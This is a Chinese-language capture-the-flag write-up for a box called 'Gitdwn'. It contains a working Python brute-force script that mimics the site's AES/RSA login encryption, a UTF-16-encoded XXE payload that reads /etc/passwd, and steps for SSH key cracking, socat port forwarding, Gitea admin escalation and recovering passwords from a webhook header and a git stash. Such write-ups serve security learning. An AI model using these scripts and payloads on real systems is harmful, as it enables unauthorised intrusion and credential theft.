Gitdwn

先扫

img

登录口可以爆破密码,根据login.js的加密逻辑写一个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
import requests
import json
import base64
from Crypto.Cipher import AES, PKCS1_v1_5
from Crypto.PublicKey import RSA
from Crypto.Util.Padding import pad
from Crypto.Random import get_random_bytes

TARGET_URL = "http://192.168.79.214/api/login.php"
USERNAME = "admin"
DICTIONARY_FILE = "D:\\tools\\dictionaries\\somd5-top1w.txt"

RSA_PUBLIC_KEY = """-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAt6l3k43vuI+8ODHhr07q
/fBswyWqv5d0SsoX2+i5rWy98PW58HNrKveU6IDRhWFOmA8MQ0j7zUcH33VGaQNO
ZdI8gmo4pdlABQJ7EM4E6KGYCxlyIi4QtyUorBP6pfS1nlLCyAIcybnpia4kHT/p
MqaIXKMVqDYHGJMNp0LIBkFA0eKp9usd2YStJ0nzgZrJS2t8znbvqXqx8uvBkRpZ
bEZKUc3skgUIumazaw4plE+OzcVAa/67vuD7e7sycVHY+McsphLm+1CjS1jjvBt6
z036X4WJUANNIb4K2yJ8tYREXbxLQ5uwnVb9cwbQKSGg8Tr6GgSkbNjseAgZaUPt
QwIDAQAB
-----END PUBLIC KEY-----"""

def encrypt_payload(username, password):
# 1. 生成随机 AES Key (128位) 和 IV
aes_key = get_random_bytes(16)
iv = get_random_bytes(16)

# 2. AES 加密用户信息 (PKCS7 Padding)
credentials = json.dumps({"username": username, "password": password}).encode('utf-8')
cipher_aes = AES.new(aes_key, AES.MODE_CBC, iv)
encrypted_data = base64.b64encode(cipher_aes.encrypt(pad(credentials, AES.block_size))).decode('utf-8')

# 3. RSA 加密 AES Key 和 IV
# 注意:前端使用 JSEncrypt,默认使用 PKCS#1 v1.5 填充
recipient_key = RSA.import_key(RSA_PUBLIC_KEY)
cipher_rsa = PKCS1_v1_5.new(recipient_key)

# 模拟前端:先转 base64 再用 RSA 加密
aes_key_b64 = base64.b64encode(aes_key)
iv_b64 = base64.b64encode(iv)

encrypted_key = base64.b64encode(cipher_rsa.encrypt(aes_key_b64)).decode('utf-8')
encrypted_iv = base64.b64encode(cipher_rsa.encrypt(iv_b64)).decode('utf-8')

return {
"encryptedData": encrypted_data,
"encryptedKey": encrypted_key,
"encryptedIv": encrypted_iv
}

def start_bruteforce():
try:
with open(DICTIONARY_FILE, 'r') as f:
passwords = f.read().splitlines()
except FileNotFoundError:
print(f"Error: {DICTIONARY_FILE} not found.")
return

print(f"[*] Starting bruteforce for user: {USERNAME}")

for pwd in passwords:
payload = encrypt_payload(USERNAME, pwd)

try:
response = requests.post(TARGET_URL, json=payload, timeout=5)
result = response.json()

if result.get("success"):
print(f"[+] SUCCESS! Password found: {pwd}")
print(f"[+] Token: {result.get('token')}")
return

except Exception as e:
print(f"[!] Error during request for {pwd}: {e}")

if __name__ == "__main__":
start_bruteforce()

爆出来密码admin/hotdog,登录上去,要求传XML,一眼XXE

img

正常打不成功,用utf16编码绕过一下就行,exp生成脚本

1
2
3
4
5
6
7
8
9
10
11
12
import requests

payload = """<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<note>&file;</note>

"""
payload = payload.encode('utf-16')
with open("exp.xml","wb") as f:
f.write(payload)
img

看到有个git用户,直接读到flag

img

发现这个用户还有authorized_keys

img

读取其私钥

img

尝试ssh连接但是发现这个私钥本身还有密码,将其转换格式爆破一下

img
img

成功连接上

img

查看进程发现有个gitea

img

传个socat上去转发一下端口,于是可以直接通过8888端口http访问

img

随便注册一个账号

img

去后台把自己改成管理员

img
img

再次登录自己的账户,访问root的仓库可以看到有个Snake项目,在设置-Web钩子-授权标头中可以看到一串base64

img

解出来是bilir!@#,之前查看/etc/passwd的时候可以看到有个bilir账户,这就是其ssh密码,切过去

看到/home/bilir下有个git仓库,查看这个仓库的stash记录发现新增了一个密码

img

这个其实就是root的ssh密码,切过去拿flag

img